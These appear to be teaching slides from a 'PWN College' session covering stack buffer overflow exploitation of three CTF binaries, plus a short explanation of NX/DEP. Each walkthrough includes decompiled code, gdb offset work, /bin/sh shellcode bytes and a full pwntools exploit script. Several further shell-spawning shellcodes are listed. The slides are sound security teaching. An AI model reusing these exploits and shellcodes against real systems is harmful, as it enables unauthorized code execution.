PWN College

Session 10

Atousa Ahsani

References: https://pwn.college/, https://guyinatuxedo.github.io/

Stack Buffer Overflows

Csaw 2017 pilot

Tamu 2019 Pwn 3

Tuctf 2018 shella-easy

NX/XN/DEP

Csaw 2017 pilot

- We are dealing with a **64 bit** binary. When we run it, we see that it prints out a lot of text, including what looks like a **memory address** from the **stack** memory region. It then prompts us for **input**.

```
➜  csaw17_pilot file pilot
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter
/lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e41
06df72c01dc6c, stripped
➜  csaw17_pilot ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instru
ctions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffd0212c960
[*]Command:aaaaaaaaa
```

- And it also has ***RWX* segments**!

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments
```

Csaw 2017 pilot

- Looking through the functions in **Ghidra**, we don't see a function labeled ***main***. However we can find function ***FUN_004009a6*** which is called inside ***entry*** function.
- We can see that it scans in ***0x40* bytes** into ***local_28***. This char array can only hold **32 bytes** worth of input, so we have an **overflow**.
- Also we can see that the **address** printed is an **infoleak** for the start of our input in memory on the stack.

```
undefined8 FUN_004009a6(void)

{
  basic_ostream *this;
  basic_ostream<char,std--char_traits<char>> *this_00;
  ssize_t sVar1;
  undefined8 uVar2;
  undefined local_28 [32];

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Welcome DropShip Pilot...");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]I am your assitant A.I....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,"[*]I will be guiding you through the tutorial....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,
                    "[*]As a first step, lets learn how to land at the designated location....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,

                    "[*]Your mission is to lead the dropship to the right location and execute
                    sequence of instructions to save Marines & Medics..."
                   );
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Good Luck Pilot!....");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Location:");
  this_00 = (basic_ostream<char,std--char_traits<char>> *)
            operator<<((basic_ostream<char,std--char_traits<char>> *)this,local_28);
  operator<<(this_00,endl<char,std--char_traits<char>>);
  operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Command:");
  sVar1 = read(0,local_28,0x40);
  if (sVar1 < 5) {
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]There are no commands....");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]Mission Failed....");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    uVar2 = 0xffffffff;
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}
```

Csaw 2017 pilot

- Looking at the **stack layout** in Ghidra, there doesn't really look like there is anything between the **start** of our **input** and the **return address**. With our **overflow** we should be able to overwrite the **return address** and get **code execution**.

```
                    undefined FUN_004009a6()
   undefined              AL:1              <RETURN>
   undefined1             Stack[-0x28]:1 local_28
```

- In order to find the **offset** between the **start** of our **input** and the **return address** using gdb, we will set a **breakpoint** for right after the ***read*** call, and look at the memory there.

```
   0x400ae0:      call   0x400820 <read@plt>
   0x400ae5:      cmp    rax,0x4
gdb-peda$ b* 0x400ae5
Breakpoint 1 at 0x400ae5
```

Csaw 2017 pilot

- The address of the **input**:

```
[----------------------------------registers-----------------------------------]
RAX: 0x6
RBX: 0x400b90 (push   r15)
RCX: 0x7ffff7ce7142 (<__GI___libc_read+18>:     cmp    rax,0xfffffffffffff000)
RDX: 0x40 ('@')
RSI: 0x7fffffffdf50 --> 0xa6f6c6c6568 ('hello\n')
RDI: 0x0
RBP: 0x7fffffffdf70 --> 0x0
RSP: 0x7fffffffdf50 --> 0xa6f6c6c6568 ('hello\n')
```

- The address of ***return address***:

```
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffdf80:
 rip = 0x400ae5; saved rip = 0x7ffff7bfd0b3
 called by frame at 0x7fffffffe050
 Arglist at 0x7fffffffdf48, args:
 Locals at 0x7fffffffdf48, Previous frame's sp is 0x7fffffffdf80
 Saved registers:
  rbp at 0x7fffffffdf70, rip at 0x7fffffffdf78
```

- The offset: $0x7fffffffdf78 - 0x7fffffffdf50 = 40$

Csaw 2017 pilot

- So we have a way to **overwrite** the **return address**, a place to store our **shellcode**, and we know where it is in memory.
- What to write as the **shellcode**?
  - We just need to execute ***/bin/sh*** in order to get shell access.
    - https://github.com/osirislab/Shellcode
    - This is a repository of **Shellcode** that came about as a need for trustworthy and reliable **32/64 bit Intel shellcode** for **CTF style exploitation**.
    - As the file is a **64 bit** binary, we use ***64BitLocalBinSh*** directory.

```
# git clone https://github.com/isislab/Shellcode.git
# cd Shellcode/64BitLocalBinSh/
# make
# python ../shellcodeAsArray/sa.py shellcode
shellcode = ( "\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0"
"\x3b\x48\x89\xe7\x31\xf6\x31\xd2\x0f\x05"
)
```

Csaw 2017 pilot

- With this we can write our exploit:

```python
from pwn import *

target = process('./pilot')
print target.recvuntil("[*]Location:")
leak = target.recvline()
inputAdr = int(leak.strip("\n"), 16)

payload = ""
payload += "\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0"
payload += "\x3b\x48\x89\xe7\x31\xf6\x31\xd2\x0f\x05"
payload += "0"*(40 - len(payload))
payload += p64(inputAdr)

target.send(payload)
target.interactive()
```

Stack Buffer Overflows

- Csaw 2017 pilot
- Tamu 2019 Pwn 3
- Tuctf 2018 shella-easy
- NX/XN/DEP

Tamu 2019 Pwn 3

- We are dealing with a **32 bit** binary. When we run it, it prints out what looks like a stack address and prompts us for input.

```
→  tamu19_pwn3 file pwn3
pwn3: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter
 /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0,
not stripped
→  tamu19_pwn3 ./pwn3
Take this, you might need it on your journey 0xffbcba7e!
hello
```

- And it also has **RWX segments**!

```
Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments
```

Tamu 2019 Pwn 3

- Looking through the ***main*** function, the most important thing here is that it calls the ***echo*** function.

- This function prints the **address** of the char buffer ***local_12e***, then calls ***gets*** with ***local_12e*** as an argument.

- This is a bug since gets doesn't restrict how much data it scans in, we get an **overflow**. With this we can overwrite the **return address** and get **code execution**.

- There aren't any functions that will either **print** the flag or give us a **shell** like in some of the previous challenges. We will instead be using **shellcode**.

```
undefined4 main(void)

{
  int iVar1;

  iVar1 = __x86.get_pc_thunk.ax(&stack0x00000004);
  setvbuf((FILE *)(*(FILE **)(iVar1 + 0x19fd))->_flags,(char *)0x2,0,0);
  echo();
  return 0;
}


void echo(void)

{
  char local_12e [294];

  printf("Take this, you might need it on your journey %p!\n",local_12e);
  gets(local_12e);
  return;
}
```

Tamu 2019 Pwn 3

- In order to find the **offset** between the **start** of our input and the **return address** using ***gdb***, we will set a breakpoint for right after the ***gets*** call, and look at the memory there.

```
gdb-peda$ disas echo

   0x000005d5 <+56>:    call   0x420 <gets@plt>
   0x000005da <+61>:    add    esp,0x10
gdb-peda$ b* echo+61
Breakpoint 1 at 0x5da
```

- The address of the **input**:

```
[-----------------------------------registers-----------------------------------]
EAX: 0xffffcffe ("hello")
EBX: 0x56556fcc --> 0x1ed4
ECX: 0xf7fa8580 --> 0xfbad2288
EDX: 0xffffd003 --> 0x34000
ESI: 0xf7fa8000 --> 0x1ead6c
EDI: 0xf7fa8000 --> 0x1ead6c
```

Tamu 2019 Pwn 3

- The address of ***return address***:

```
gdb-peda$ info frame
Stack level 0, frame at 0xffffd130:
 eip = 0x565555da in echo; saved eip = 0x5655561a
 called by frame at 0xffffd150
 Arglist at 0xffffd128, args:
 Locals at 0xffffd128, Previous frame's sp is 0xffffd130
 Saved registers:
  ebx at 0xffffd124, ebp at 0xffffd128, eip at 0xffffd12c
```

- The offset: $0xffffd12c - 0xffffcffe = 302$
- So we have a way to overwrite the **return address**, a place to store our **shellcode**, and we know where it is in memory.

Tamu 2019 Pwn 3

- How to generate shellcode?
  - We use the repository used in the previous challenge.

```
# git clone https://github.com/isislab/Shellcode.git
# cd Shellcode/32BitLocalBinSh/
# make
# python ../shellcodeAsArray/sa.py shellcode
shellcode = ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x89\xc1\x89\xc2\x6a\x0b\x58\xcd\x80"
)
```

Tamu 2019 Pwn 3

- Our exploit:

```python
from pwn import *

target = process('./pwn3')
print target.recvuntil("journey ")
leak = target.recvline()
shellcodeAdr = int(leak.strip("!\n"), 16)

payload = ""
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
payload += "\x89\xc1\x89\xc2\x6a\x0b\x58\xcd\x80"
payload += "0"*(0x12e - len(payload))
payload += p32(shellcodeAdr)

target.sendline(payload)
target.interactive()
```

Tamu 2019 Pwn 3

- Some other shellcodes from Shell Storm:

```
Shellcode1 = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd
\x80\x31\xc0\x40\xcd\x80"

Shellcode2   =   "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f
\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"

Shellcode3 = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

Shellcode4 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
```

Stack Buffer Overflows

- Csaw 2017 pilot
- Tamu 2019 Pwn 3
- Tuctf 2018 shella-easy
- NX/XN/DEP

Tuctf 2018 shella-easy

- We are dealing with a **32 bit** binary. When we run it, it prints out what looks like a **stack address** and prompts us for input.

```
➜  tu18_shellaeasy file shella-easy
shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter
/lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not s
tripped
➜  tu18_shellaeasy ./shella-easy
Yeah I'll have a 0xff876950 with a side of fries thanks
hello
```

- And it also has **RWX segments**!

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments
```

Tuctf 2018 shella-easy

- There is a char array ***local_4c*** which can hold **64 bytes**, which it prints it's address. After that it runs the function ***gets*** with ***local_4c*** as an argument, allowing us to do a **buffer overflow** attack and get the **return address**.
- Our plan is to just push **shellcode** onto the **stack**, and we know where it is thanks to the infoleak.
- That is according to the decompiled code, the function ***exit*** is called. When this function is called, the ***ret*** instruction will not run in the context of this function, so we won't get our code execution.

```
undefined4 main(void)

{
  char local_4c [64];
  int local_c;

  setvbuf(stdout,(char *)0x0,2,0x14);
  setvbuf(stdin,(char *)0x0,2,0x14);
  local_c = -0x35014542;
  printf("Yeah I\'ll have a %p with a side of fries thanks\n",local_4c);
  gets(local_4c);
  if (local_c != -0x21524111) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  return 0;
}
```

Tuctf 2018 shella-easy

- So we can see that there is a check to see if ***local_c*** is equal to ***0xdeadbeef***, and if it is the function does not call ***exit(0)*** and we get our code execution.

- So we just need to overwrite it with ***0xdeadbeef***.

```
undefined       AL:1            <RETURN>
undefined4      Stack[-0x8]...local_8
undefined4      Stack[-0xc]...local_c

undefined1      Stack[-0x4c...local_4c
```

- We will set a **breakpoint** for right after the ***gets*** call, and look at the memory there.

```
gdb-peda$ disas main
   0x08048539 <+94>:    call   0x8048390 <gets@plt>
   0x0804853e <+99>:    add    esp,0x4
gdb-peda$ b* main+99
Breakpoint 1 at 0x804853e
```

Tuctf 2018 shella-easy

- The address of the **input**:

```
[----------------------------------registers-----------------------------------]
EAX: 0xffffd020 ("hello")
EBX: 0x804a000 --> 0x8049f0c --> 0x1
ECX: 0xf7fa8580 --> 0xfbad208b
EDX: 0xffffd025 --> 0xf7fe00
```

- The address of ***return address***:

```
gdb-peda$ info frame
Stack level 0, frame at 0xffffd070:
 eip = 0x804853e in main; saved eip = 0xf7ddbee5
 called by frame at 0xffffd0e0
 Arglist at 0xffffd068, args:
 Locals at 0xffffd068, Previous frame's sp is 0xffffd070
 Saved registers:
  ebx at 0xffffd064, ebp at 0xffffd068, eip at 0xffffd06c
```

- The offset:$0xffffd06c - 0xffffd020 = 76$

Tuctf 2018 shella-easy

- Our exploit:

```python
from pwn import *

target = process('./shella-easy')

leak = target.recvline()
leak = leak.strip("Yeah I'll have a ")
leak = leak.strip(" with a side of fries thanks\n")
shellcodeAdr = int(leak, 16)

payload = ""
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
payload += "\x89\xc1\x89\xc2\x6a\x0b\x58\xcd\x80"
payload += "0"*(64 - len(payload))
payload += p32(0xdeadbeef)
payload += "1"*(76 - len(payload))
payload += p32(shellcodeAdr)

target.sendline(payload)
target.interactive()
```

Tuctf 2018 shella-easy

- Some other shellcodes from Shell Storm:

```
Shellcode1  =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd
\x80\x31\xc0\x40\xcd\x80"

Shellcode2  =  "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62
\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"

Shellcode3 = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

Shellcode4 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80“

Shellcode5 = "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
```

Stack Buffer Overflows

Csaw 2017 pilot

Tamu 2019 Pwn 3

Tuctf 2018 shella-easy

NX/XN/DEP

NX/XN/DEP

- **NX (No-eXecute)**
  - The abbreviation **NX** stands for **non-execute** or **non-executable** segment.
  - It means that the application, when loaded in memory, does not allow any of its segments to be **both writable** and **executable**.
  - The idea here is that **writable memory** should never be **executed** (as it can be **manipulated**) and **vice versa**.
  - Having **NX enabled** would be good.

NX/XN/DEP

- **DEP (Data Execution Prevention)**
  - It is almost the same technology as **NX** but it is used in **Windows**.
- **XD (eXecute Disable)**
  - It is almost the same technology as **NX** used in **Intel cpu**.
- **XN (Execute Never)**
  - It is almost the same technology as **NX** used in **ARMv6 cpu**.